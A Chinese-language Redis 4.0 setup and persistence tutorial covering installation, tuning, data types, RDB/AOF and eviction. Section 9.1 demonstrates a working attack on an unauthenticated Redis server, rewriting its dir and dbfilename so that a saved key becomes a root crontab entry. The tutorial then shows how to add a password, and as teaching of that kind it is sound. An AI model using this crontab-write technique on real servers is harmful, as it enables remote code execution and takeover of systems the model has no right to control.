1. 程式人生 > >Redis4.0之持久化儲存

Redis4.0之持久化儲存

一,redis概述與實驗環境說明

1.1 什麼是redis

redis是一種記憶體型的NoSQL資料庫,優點是快,常用來做快取用 
redis儲存資料的方法是以key-value的形式 
value型別支援字串,列表,雜湊等多種型別

1.2 環境說明

主機名

IP

用途

Redis01

10.1.1.146

Redis-master

[[email protected] ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
[

[email protected] ~]# uname -r
3.10.0-862.el7.x86_64
[[email protected] ~]# systemctl stop firewalld
[[email protected] ~]# systemctl disable firewalld
[[email protected] ~]# setenforce 0
setenforce: SELinux is disabled
[[email protected] ~]# sestatus
SELinux status:                 disabled

1.3 yum倉庫使用技巧

查詢一個命令出自哪個rpm包

二,Redis伺服器4.0版本原始碼編譯安裝

2.1 redis下載地址https://redis.io/download

2.2 redis原始碼編譯

[[email protected] ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake 

[[email protected] ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[[email protected] ~]# cd /usr/src/redis-4.0.11/
[

[email protected] redis-4.0.11]# make && make MALLOC=jemalloc && make PREFIX=/usr/local/redis install

[[email protected] ~]# cd /usr/local/redis/
[[email protected] redis]# ls
bin
[[email protected] redis]# mkdir -p /usr/local/redis/conf
[[email protected] redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/

[[email protected] redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis
/conf/[[email protected] redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[[email protected] redis]# which redis-server
/usr/local/bin/redis-server
[[email protected] redis]# redis-server --version
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=4d00
c4dd9c0e3653[[email protected] redis]# redis-cli --version
redis-cli 4.0.11

(快照)

三,Redis伺服器啟動和系統引數調整

3.1 簡化redis配置檔案

[[email protected] redis]# pwd
/usr/local/redis
[[email protected] redis]# cp conf/redis.conf{,.bak}
[[email protected] redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
[[email protected] redis]# mkdir -p /data/redis/  建立redis資料目錄

修改redis配置檔案以下引數

修改成以下設定

 [[email protected] redis]# vim conf/redis.conf
[[email protected] redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p;21p'
     1    bind 0.0.0.0  #監聽地址
     3    port 6379   #監聽埠
     4    tcp-backlog 1024  #tcp連線數
     7    daemonize yes  #是否後臺啟動
     9    pidfile /data/redis/redis.pid    #pid存放目錄
    11    logfile "/data/redis/redis.log"   #日誌存放目錄
    21    dir /data/redis  #工作目錄

3.3 redis伺服器啟動和關閉

啟動redis伺服器
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN     
 17416/redis-server 

 關閉redis伺服器

[[email protected] redis]# redis-cli -p 6379 -h 127.0.0.1 shutdown
[[email protected] redis]# netstat -antup | grep redis
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN     
 17426/redis-server 

[[email protected] redis]# redis-cli shutdown
[[email protected] redis]# netstat -antup | grep redis
連線redis伺服器

[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# redis-cli -h 127.0.0.1
127.0.0.1:6379> exit
[[email protected] ~]# redis-cli
127.0.0.1:6379> exit

3.4 系統引數優化調整

啟動redis以後,我們檢視系統日誌 cat /data/redis/redis.log

警告提示1:系統檔案描述符設定的太小了,才1024,我們最好設定到10032

警告提示2:對一個高負載的環境來說tcp設定128這個值,太小了。

警告提示3:overcommit_memory=0為不允許超額搶佔記憶體,但是,rdb儲存可能會失敗。建議將vm.overcommit_memory = 1進行修改

警告提示4:你的核心中啟用了巨大記憶體頁的支援,這將與redis的延遲記憶體使用衝突。

 1)調整系統檔案描述符

 [[email protected] ~]# echo "* - nofile 10240" >> /etc/security/limits.conf

 退出登陸一下即可生效

 [[email protected] ~]# exit

 [[email protected] ~]# ulimit -n
10240

2)調整系統tcp連線數

[[email protected] ~]# sysctl -a | grep soma
net.core.somaxconn = 128
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[[email protected] ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[[email protected] ~]# sysctl -p
net.core.somaxconn = 10240

3)調整系統記憶體分配策略

[[email protected] ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[[email protected] ~]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[[email protected] ~]# sysctl -a | grep commit
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
vm.nr_overcommit_hugepages = 0
vm.overcommit_kbytes = 0
vm.overcommit_memory = 1  #設定好了
vm.overcommit_ratio = 50

4)關閉系統核心的巨大記憶體頁支援

[[email protected] ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[[email protected] ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
always madvise [never]
[[email protected] ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[[email protected] ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
always madvise [never]

新增到/etc/rc.local

[[email protected] ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local

[[email protected] ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local

[[email protected] ~]# tail -2 /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

5)重啟redis-server驗證修改

關閉redis     清空日誌     啟動redis

四,Redis客戶端使用和字串簡單操作

  • mysql命令用來跟MySQL伺服器進行互動
  • redis-cli命令用來跟redis伺服器進行互動

4.1 使用redis-cli客戶端登陸redis-server

[[email protected] ~]# redis-cli
127.0.0.1:6379> exit
[[email protected] ~]# redis-cli -h localhost -p 6379
localhost:6379> exit

4.2 redis字串操作

4.1 使用redis-cli客戶端登陸redis-server

[[email protected] ~]# redis-cli
127.0.0.1:6379> set name wwl    #增加鍵(key)和值(value)
OK
127.0.0.1:6379> get name #根據鍵獲取值
"wwl"
127.0.0.1:6379> set name xiaomei    #修改鍵的值
OK
127.0.0.1:6379> get name   #根據鍵獲取值
"xiaomei"
127.0.0.1:6379> del name   #刪除,返回1代表刪除成功
(integer) 1
127.0.0.1:6379> GET name  #命令不區分大小寫
(nil)
127.0.0.1:6379> set NAME test
OK
127.0.0.1:6379> get name
(nil)
127.0.0.1:6379> get NAME   #key區分大小寫
"test"
127.0.0.1:6379> del NAME
(integer) 1

4.3 非互動式操作redis伺服器

[[email protected] ~]# redis-cli set name welcome
OK
[[email protected] ~]# redis-cli get name
"welcome"
[[email protected] ~]# redis-cli del name
(integer) 1
[[email protected] ~]# redis-cli get name
(nil)

五,Redis列表集合簡單操作

redis的key都是字串,value支援字串,列表,集合等

5.1 redis列表的操作,有序的可重複的

列表就是有順序的,可重複的一堆值的組合

[[email protected] ~]# redis-cli
127.0.0.1:6379> lpush names yun1    #建立一個列表names,並從左邊推入一個值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2    #向列表names左邊推入一個值yun2
(integer) 2
127.0.0.1:6379> lpush names yun3
(integer) 3
127.0.0.1:6379> lpush names yun4
(integer) 4
127.0.0.1:6379> lpush names yun5
(integer) 5
127.0.0.1:6379> lrange names 0 -1  #檢視列表names從索引0開始到結束所有的值
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lrange names 0 1     #檢視索引0到1的值
1) "yun5"
2) "yun4"
127.0.0.1:6379> lrange names 0 3
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
127.0.0.1:6379> lrange names 0 0
1) "yun5"
127.0.0.1:6379> lpush names yun  
(integer) 6
127.0.0.1:6379> lpush names yun
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "yun"
2) "yun"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 1 yun  #從左邊數刪除第一個yun
(integer) 1
127.0.0.1:6379> lrem names 1 yun
(integer) 1
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpush names xue   #從列表的左邊加入一個元素xue
(integer) 6
127.0.0.1:6379> lpush names xue
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "xue"
2) "xue"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 0 xue   #從列表的左邊數刪除所有的雪
(integer) 2
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpop names  #移除列表最左邊的元素
"yun5"
127.0.0.1:6379> lpop names
"yun4"
127.0.0.1:6379> lpop names
"yun3"
127.0.0.1:6379> lpop names
"yun2"
127.0.0.1:6379> lpop names
"yun1"
127.0.0.1:6379> lpush names lili
(integer) 1
127.0.0.1:6379> lpush names lili1
(integer) 2
127.0.0.1:6379> lpush names lili12
(integer) 3
127.0.0.1:6379> lrange names 0 -1
1) "lili12"
2) "lili1"
3) "lili"
127.0.0.1:6379> rpop names    #移除列表最右邊的元素
"lili"
127.0.0.1:6379> rpop names
"lili1"
127.0.0.1:6379> rpop names
"lili12"
127.0.0.1:6379> lpush wang haha1
(integer) 1
127.0.0.1:6379> lpush wang haha2
(integer) 2
127.0.0.1:6379> lpush wang haha3
(integer) 3
127.0.0.1:6379> lrange wang 0 -1
1) "haha3"
2) "haha2"
3) "haha1"
127.0.0.1:6379> lset wang 0 www   #修改列表左起第一個元素
OK
127.0.0.1:6379> lrange wang 0 -1
1) "www"
2) "haha2"
3) "haha1"

5.2 redis集合的操作,無序的不重複的

集合就是不能重複的,無固定順序的列表

127.0.0.1:6379> sadd ages 10    #向集合中新增元素
(integer) 1
127.0.0.1:6379> sadd ages 15
(integer) 1
127.0.0.1:6379> sadd ages 20
(integer) 1
127.0.0.1:6379> sadd ages 25
(integer) 1
127.0.0.1:6379> sadd ages 25    #失敗,集合的元素具有唯一性
(integer) 0
127.0.0.1:6379> smembers ages    #檢視集合裡的元素
1) "10"
2) "15"
3) "20"
4) "25"
127.0.0.1:6379> srem ages 25     #移除集合裡是25的元素
(integer) 1
127.0.0.1:6379> smembers ages
1) "10"
2) "15"
3) "20"
127.0.0.1:6379> spop ages   #隨機移除集合裡的一個元素
"10"
127.0.0.1:6379> smembers ages
1) "15"
2) "20"
127.0.0.1:6379> sismember ages 40  #查詢集合裡是否有40的元素
(integer) 0        #集合裡沒有40的元素
127.0.0.1:6379> sismember ages 15
(integer) 1

六,Redis的hash和訂閱簡單操作

6.1 redis的hash操作

hash就是可以存多個鍵值對的組合(類似python字典)

127.0.0.1:6379> hset info name 'yunjisuan'   #增加一個hash
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location 'beijing'
(integer) 1
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name
"yunjisuan"
127.0.0.1:6379> hdel info name age
(integer) 2
127.0.0.1:6379> hgetall info
1) "location"
2) "beijing"
127.0.0.1:6379> del info
(integer) 1
127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'
OK
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"

6.2 redis的訂閱操作

開啟redis的訂閱功能
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan    #開啟頻道名:yunjisuan的訂閱功能,可開啟多個視窗進行訂閱
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1
對頻道進行內容推送
[[email protected] ~]# redis-cli
127.0.0.1:6379> publish yunjisuan '你真美'     #向頻道yunjisuan推送你真美
(integer) 1     #推送成功的人數
再開兩個視窗,檢視訂閱資訊
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
127.0.0.1:6379> publish yunjisuan 'nihao'
(integer) 3
關掉登入一個
127.0.0.1:6379> publish yunjisuan 'hahaha'
(integer) 2

七,使用Shell往Redis批量新增資料

1)批量往redis server上插入資料

[[email protected] ~]# for line in `seq -w 10`;do redis-cli set name_${line} value_${line};done

2)檢視key的情況

[[email protected] ~]# redis-cli
127.0.0.1:6379> keys *    #檢視所有key命令,不建議使用,上千萬的key會使redis伺服器堵塞
 1) "name_03"
 2) "name_08"
 3) "name_07"
 4) "name_02"
 5) "name_10"
 6) "name_09"
 7) "name_06"
 8) "name_05"
 9) "name_01"
10) "name_04"
127.0.0.1:6379> randomkey   #隨機返回一個key
"name_02"
127.0.0.1:6379> randomkey
"name_07"
127.0.0.1:6379> scan 0   #分頁檢視key
1) "0"
2)  1) "name_08"
    2) "name_07"
    3) "name_02"
    4) "name_10"
    5) "name_09"
    6) "name_03"
    7) "name_06"
    8) "name_05"
    9) "name_01"
   10) "name_04"

八,Redis伺服器info狀態資訊檢視

redis提供了一個info命令檢視redis伺服器的資訊,類似Linux提供一個top命令檢視系統的資訊

[[email protected] ~]# redis-cli info
# Server    #伺服器的資訊
redis_version:4.0.11     #redis伺服器版本
redis_git_sha1:00000000   #Git SHA1
redis_git_dirty:0      #Git dirty flag
redis_build_id:4d00c4dd9c0e3653     #redis build id
redis_mode:standalone     #執行模式,單機或叢集
os:Linux 3.10.0-862.el7.x86_64 x86_64   #redis伺服器宿主機作業系統
arch_bits:64     #架構64位
multiplexing_api:epoll       #redis所使用的事件處理模型
atomicvar_api:atomic-builtin
gcc_version:4.8.5     #編譯redis時gcc版本
process_id:17876    #redis伺服器程序的pid
run_id:be4b0e741fa09976438795ea0d240bfcce94330d  #redis伺服器的隨機識別符號(sentinel和叢集)
tcp_port:6379  
uptime_in_seconds:3989
uptime_in_days:0
hz:10
lru_clock:3099797
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:849248
used_memory_human:829.34K
used_memory_rss:2428928
used_memory_rss_human:2.32M
used_memory_peak:910592
used_memory_peak_human:889.25K
used_memory_peak_perc:93.26%
used_memory_overhead:836686
used_memory_startup:786592
used_memory_dataset:12562
used_memory_dataset_perc:20.05%
total_system_memory:1021906944
total_system_memory_human:974.57M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.86
mem_allocator:jemalloc-4.0.3
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:7
rdb_bgsave_in_progress:0
rdb_last_save_time:1546603255
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:352256
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:27
total_commands_processed:144
instantaneous_ops_per_sec:0
total_net_input_bytes:4876
total_net_output_bytes:124503
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:25
keyspace_misses:11
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:105
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:e2baa8fec4ff2b9aa764c386381e9c6556d4c5a0
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:1.65
used_cpu_user:1.15
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=10,expires=0,avg_ttl=0

九,Redis伺服器加密和無密碼攻擊演示

在這之前先演示一下怎麼操作redis
修改redis的配置檔案一般都要重啟redis,但是redis有一種平滑修改的功能
[[email protected] ~]# cd /data/redis/
[[email protected] redis]# ls
dump.rdb  redis.log  redis.pid
預設redis是開著持久化儲存的,我們給它關了
配置檔案裡查詢一下和save有關的引數
127.0.0.1:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
因為之前我的機器快照過,所以會有這些資訊,現在要去掉它的持久化

127.0.0.1:6379> config set save ""
OK
127.0.0.1:6379> config get save
1) "save"
2) ""
這時它的配置檔案沒有任何變化,執行重寫配置檔案,再看配置檔案已經發生了變化,save的資訊已經沒了

127.0.0.1:6379> config rewrite
OK

這就是redis的平滑修改,不需要重啟配置檔案

127.0.0.1:6379> config get dir
1) "dir"
2) "/data/redis"
我們用config get dir發現,redis的工作目錄我們都會知道在哪,因此我們只要連上redis,就能夠修改它的配置檔案

9.1 入侵無密碼redis伺服器演示
開啟Redis02,測試效果,開始攻擊
[[email protected] ~]# redis-cli -h 10.1.1.146 -p 6379
10.1.1.146:6379> config get dir
1) "dir"
2) "/data/redis"
攻擊之前記得將redis01快照一下。。。。。
10.1.1.146:6379> config set dir /etc/
OK
10.1.1.146:6379> config set dbfilename "crontab"
OK
10.1.1.146:6379> config set save "900 1 300 10 60 10000"
OK
10.1.1.146:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
10.1.1.146:6379> config rewrite
OK
[[email protected] ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
[[email protected] ~]# vim /tmp/attack
[[email protected] ~]# cat /tmp/attack    #這個檔案內容上下必須各有兩個回車


* * * * * root echo 'attack'


[[email protected] ~]# cat /tmp/attack | redis-cli -h 10.1.1.146 -x set attack
OK
[[email protected] ~]# redis-cli -h 10.1.1.146 save
OK

然後你的redis伺服器就會被攻擊了

redis無密碼如果放在公網的話,會被攻擊

9.2給redis增加密碼的兩種方式

(1)通過redis配置檔案增加密碼

給配置檔案增加密碼引數
[[email protected] ~]# echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.
conf[[email protected] ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "yunjisuan"
[[email protected] ~]# redis-cli shutdown
[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> set name benet
OK
非互動式輸入密碼進行登入
[[email protected] ~]# redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name
Warning: Using a password with '-a' option on the command line interface may not be safe.

"benet"
警告:使用-a方式輸入密碼並不安全

(2)使用互動式的方式給redis增加密碼(無需重啟redis)

將之前在配置檔案裡設定的密碼引數刪除
[[email protected] ~]# sed -i '$d' /usr/local/redis/conf/redis.conf
重啟redis-server
[[email protected] ~]# redis-cli -a yunjisuan shutdown
Warning: Using a password with '-a' option on the command line interface may not
 be safe.[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      
23539/redis-server 
互動式登陸redis設定密碼
127.0.0.1:6379> set name benet
OK
127.0.0.1:6379> get name
"benet"
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) ""
127.0.0.1:6379> config set requirepass yunjisuan
OK
127.0.0.1:6379> config get requirepass
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "yunjisuan"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> exit
[[email protected] ~]# tail -2 /usr/local/redis/conf/redis.conf
# Generated by CONFIG REWRITE
requirepass "yunjisuan"

十,Redis的RDB儲存方式

10.1 redis的執行方式說明

redis如果提供快取服務,可以關閉所有持久化儲存,如此一來redis重啟後所有資料會丟失 
開啟rdb或aof持久化儲存,能把redis中的資料持久化到磁碟中。 
rdb和aof對效能都有影響,所以建議持久化的操作在從庫上進行

10.2 redis rdb儲存方式,使用save配置開啟rdb儲存或者關閉rdb儲存

與rdb相關的配置檔案資訊

dir /data/redis/    #dir為rdb儲存的路徑

dbfilename dump.rdb #rdb儲存檔案的名字

save 60 10000       #60s改變10000key,觸發rdb儲存

save 300 10         #300s改變10個key,觸發rdb儲存

save 900 1          #900s改變1個key觸發rdb儲存

rdbcompression no   #rdb壓縮最好關閉,影響cpu

0.3 設定開啟或者關閉rdb儲存

提示:預設情況下rdb持久化儲存是開啟的

[[email protected] ~]# redis-cli config set save " " #關閉rdb儲存
OK
[[email protected] ~]# redis-cli config rewrite #配置儲存
OK
[[email protected] ~]# redis-cli config set save "180 1 120 10 60 10000"   #開啟rdb
OK
[[email protected] ~]# redis-cli config rewrite
OK
flushdb或flushall代表清空redis的資料(這兩個命令以後也是要遮蔽掉的,很危險)
redis-cli info 檢視redis裡有多少個鍵,鍵的總數

10.4 進行資料寫入,觀察rdb儲存日誌

輸入1萬條資料

for line in `seq -w 10000`;do redis-cli set key_${line} value1_${line};done

檢視日誌資訊cat /data/redis/redis.log

發生了1萬條資料改變60秒內,觸發rdb儲存

10.5 redis提供的bgsave命令能夠立刻觸發rdb儲存,觀察儲存日誌

[[email protected] ~]# redis-cli save  #會阻塞前端客戶資料輸入
OK
[[email protected] ~]# redis-cli bgsave   #後臺啟動新程序進行rdb儲存
Background saving started

#檢視日誌

[[email protected] ~]# cat /data/redis/redis.log

1228:M 04 Jan 22:26:53.345 * DB saved on disk       #save觸發的日誌資訊
1228:M 04 Jan 22:27:00.370 * Background saving started by pid 25038     #bgsave觸發的資訊
25038:C 04 Jan 22:27:00.376 * DB saved on disk  #bgsave觸發的資訊
25038:C 04 Jan 22:27:00.377 * RDB: 0 MB of memory used by copy-on-write  #bgsave觸發的資訊
1228:M 04 Jan 22:27:00.392 * Background saving terminated with success   #bgsave觸發的資訊

十一,Redis的AOF儲存方式

redis的appendonly(aof)持久化儲存會把使用者每次的操作都記錄到檔案中(類似mysqlbinlog)

11.1 動態開啟或者關閉aof

[[email protected] ~]# redis-cli
127.0.0.1:6379> config get appendonly
1) "appendonly"
2) "no"
127.0.0.1:6379> config set appendonly "yes"
OK
127.0.0.1:6379> config rewrite
OK

11.2 寫入資料,觀察aof。多次執行,aof檔案不斷增大,rdb檔案大小不變(略)

開啟rdb之後瞬間就有了,這時資料庫裡的資料都已經被寫過來了

[[email protected] redis]# cat appendonly.aof
[[email protected] redis]# du -sh appendonly.aof
460K    appendonly.aof
127.0.0.1:6379> flushdb
OK
127.0.0.1:6379> bgrewriteaof
Background append only file rewriting started

11.3 重寫aof檔案,整理相同的key,寫入最後的有效值

BGREWRITEAOF 
執行一個AOF檔案重寫操作。重寫會建立一個當前AOF檔案的體積優化版本 
即使BGREWRITEAOF執行失敗,也不會有任何資料丟失,因為舊的AOF檔案在BGREWRITEAOF成功之前不會被修改。 
重寫操作只會在沒有其他持久化工作在後臺執行時被觸發。 
從Redis2.4開始,AOF重寫由Redis自行觸發,BGREWRITEAOF僅僅用於手動觸發重寫操作。

AOF預設情況下,也是和binlog日誌一樣增量往裡面寫的,測試如下:

127.0.0.1:6379> set name benent
OK

redis有16個庫,0-15,預設是在0裡面寫的
[[email protected] redis]# cat appendonly.aof
*2
$6      (指的是下一個命令的字元數)
SELECT
$1
0  ( 先切進第0個大表)
*3
$3
set(之後的動作)
$4
name(之後的動作)
$6
benent(之後的動作)


127.0.0.1:6379> select 0
OK
127.0.0.1:6379> keys *
1) "name"
127.0.0.1:6379> select 1
OK
127.0.0.1:6379[1]> keys *
(empty list or set)
redis不像mysql有庫名還有表名,可以理解成它只有(0-15)16張大表或者16個大庫,剛開始是預設在第0張大表裡,往裡寫的鍵都在那裡面,select 1就相當於切換到1這個大表裡了,所以裡面沒有,是空的

這就是aof檔案裡面記錄的,但是它不好的地方也很突出

127.0.0.1:6379> select 0
OK
127.0.0.1:6379> del name
(integer) 1

再看一下aof是怎麼記錄的
[[email protected] redis]# cat appendonly.aof
*2
$6
SELECT
$1
0
*3
$3
set
$4
name
$6
benent
*2
$3
del
$4
name

我們發現雖然我們向redis添加了一個key,又刪除了這個key。redis資料庫從本質上來說並沒有新增任何資料。但是aof檔案仍舊把操作都給記錄了。這樣就會導致aof檔案最終會非常大。所以aof檔案的優化,就是讓aof檔案進行重寫,只記錄資料的增量部分。如此aof檔案就小很多了。

完全複製了我之前的操作,但是在資料庫裡,一加一刪是沒用的,反而還會佔大小,如果它一直這麼記錄下去,這個檔案會越來越大,因此,在3.0之前運維都會寫一個指令碼,讓它自動觸發一個叫做bgrewriteaof,它的作用是優化aof,把所有的沒有產生增量的aof檔案裡記錄的資料全都刪了
觸發一下這個命令

裡面就沒東西了,將所有沒有產生增量的語句全去掉了

但是4.0就不用了,它有自動觸發

11.4 aof配置自動rewrite機制

在預設配置檔案裡,預設存在

獲取aof-rewrite配置

127.0.0.1:6379> config get auto-aof-rewrite*
1) "auto-aof-rewrite-percentage"
2) "100"     #預設100%,也就是aof增加一倍後考慮rewrite,兩個條件要同時滿足
3) "auto-aof-rewrite-min-size"
4) "67108864"     #預設64mb,也就是aof達到64M後考慮rewirte,兩個條件要同時滿足

這就是為什麼之前匯入了一萬條資料卻發現aof並沒有多大的原因
aof和binlog還有一個最大的不同是,binlog就記錄之後的,aof一旦重寫,它不光重寫之後的,所有的鍵它都會寫進去,aof檔案是可以來進行資料遷移的,rdb是用來做主從複製的

[[email protected] ~]# for line in `seq -w 10000`;do redis-cli set key_${line} value
1_${line};done

剛開aof,如果它是增量的話,檔案大小應該是0,如果它沒有自動觸發aof重寫的話,它也是0,但是由於一萬條太多了它就自動觸發這個機制了,aof重寫還用來資料遷移,也就是說aof現在是460k,裡面所有的鍵都寫到了aof裡了,而且是增量寫的,只要觸發了aof,它是把redis裡的所有的鍵重新寫一遍

aof在工作中是用來做資料遷移的,rdb是用來做主從複製的

aof資料遷移也有很多種方式,如果能夠ping通,直接建個從庫資料就遷移過去了,比如要把redis從本地遷移到雲上,在雲上建一個從庫,如果能連到公司裡,資料自己就過去了,資料過去之後,再把它變成主庫就行了,如果碰到不通的,資料連線不了,那就要把aof檔案給弄過去。

十二,Redis最大記憶體設定和刪除演算法

redis-cli flushall #手動清空redis裡所有資料

12.1 redis的鍵設定有效期,過期自動刪除

127.0.0.1:6379> set name yunjisuan
OK
127.0.0.1:6379> get name
"yunjisuan"
127.0.0.1:6379> ttl name
(integer) -1
127.0.0.1:6379> expire name 5
(integer) 1
127.0.0.1:6379> ttl name
(integer) 3
127.0.0.1:6379> ttl name
(integer) 2
127.0.0.1:6379> ttl name
(integer) 1
127.0.0.1:6379> ttl name
(integer) 0
127.0.0.1:6379> ttl name
(integer) -2
127.0.0.1:6379> get name
(nil)

12.2 檢視設定最大記憶體

檢視和設定最大記憶體限制
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "0"      #預設對記憶體無限制

限制1M

127.0.0.1:6379> config set maxmemory 1M
OK
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "1000000"
127.0.0.1:6379> config rewrite
OK

12.3 可選擇的刪除演算法

  • volatile-lru: 
    • 使用LRU演算法刪除鍵(key需要設定過期時間)
  • volatile-random: 
    • 隨機刪除鍵(key需要設定過期時間)
  • volatile-ttl: 
    • 刪除ttl最小的鍵(key需要設定過期時間)
  • allkeys-lru: 
    • 使用LRU演算法刪除鍵(所有key)
  • allkeys-random: 
    • 隨機刪除鍵(所有key)
  • noeviction: 
    • 不進行任何的操作,只返回錯誤,預設

[[email protected] ~]# redis-cli config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
在工作中最常用的是LRU演算法,一旦記憶體不夠用了,它會優先刪除設了過期時間的鍵值

12.4 模擬超過記憶體

127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> exit
[[email protected] ~]# for line in `seq -w 2000`;do redis-cli set key_${line} value_
${line};done

[[email protected] ~]# redis-cli info


到達了記憶體限制,已經不允許再往裡面寫了。

12.5 設定刪除演算法

將刪除演算法設定為volatile-lru

127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
127.0.0.1:6379> config set maxmemory-policy volatile-lru
OK
127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "volatile-lru"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> get key_0111
"value_0111"
127.0.0.1:6379> expire key_0111 3600
(integer) 1
127.0.0.1:6379> ttl key_0111
(integer) -2
127.0.0.1:6379> get key_0111
(nil)

說明:由上述測試可以發現volatile-lru演算法,當記憶體到了最大值以後,會優先刪除有過期時間的key。

十三,Redis禁用遮蔽危險命令

13.1 redis禁用的命令

